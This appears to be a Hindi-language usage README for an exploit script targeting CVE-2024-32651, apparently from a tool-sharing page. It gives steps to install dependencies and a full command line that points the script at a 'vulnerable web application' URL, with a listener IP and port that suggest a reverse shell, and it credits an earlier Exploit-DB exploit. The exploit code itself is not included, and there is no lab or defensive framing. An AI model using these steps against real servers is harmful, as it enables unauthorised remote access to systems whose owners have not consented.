1. स्क्रिप्ट को सेव करें CVE-2024-32651.py नामक फ़ाइल में।

2. आवश्यक Python लाइब्रेरीज़ इंस्टॉल करें यदि पहले से इंस्टॉल नहीं हैं:

   root@kitploit:~

   pip install requests beautifulsoup4
   
   

3. स्क्रिप्ट का उपयोग करने के लिए, निम्नलिखित कमांड-लाइन तर्क प्रदान करें:

• --url: कमजोर वेब एप्लिकेशन का बेस URL (जैसे, http://10.10.10.10:5000)।
• --port: लिसनर के लिए पोर्ट (जैसे, 9999)।
• --ip: लिसनर का IP पता (जैसे, 10.10.50.22)।
• --notification: (वैकल्पिक) नोटिफिकेशन URL यदि आप किसी विशिष्ट नोटिफिकेशन URL का उपयोग करना चाहते हैं।

4. स्क्रिप्ट चलाएँ Python 3 का उपयोग करके आवश्यक तर्कों के साथ। सिंटैक्स है:
   root@kitploit:~

   python3 CVE-2024-32651.py --url http://<TARGET_URL> --port <LISTENER_PORT> --ip <LISTENER_IP> [--notification <NOTIFICATION_URL>]
   

6. श्रेय

यह एक्सप्लॉइट का सुधारा गया संस्करण Zach Crosman (zcrosman) द्वारा EDB-ID: 52027 के साथ प्रकाशित मूल एक्सप्लॉइट पर आधारित था। आप मूल एक्सप्लॉइट को यहाँ देख सकते हैं। मैं Zach Crosman को सुरक्षा समुदाय में उनके योगदान के लिए धन्यवाद देता हूँ।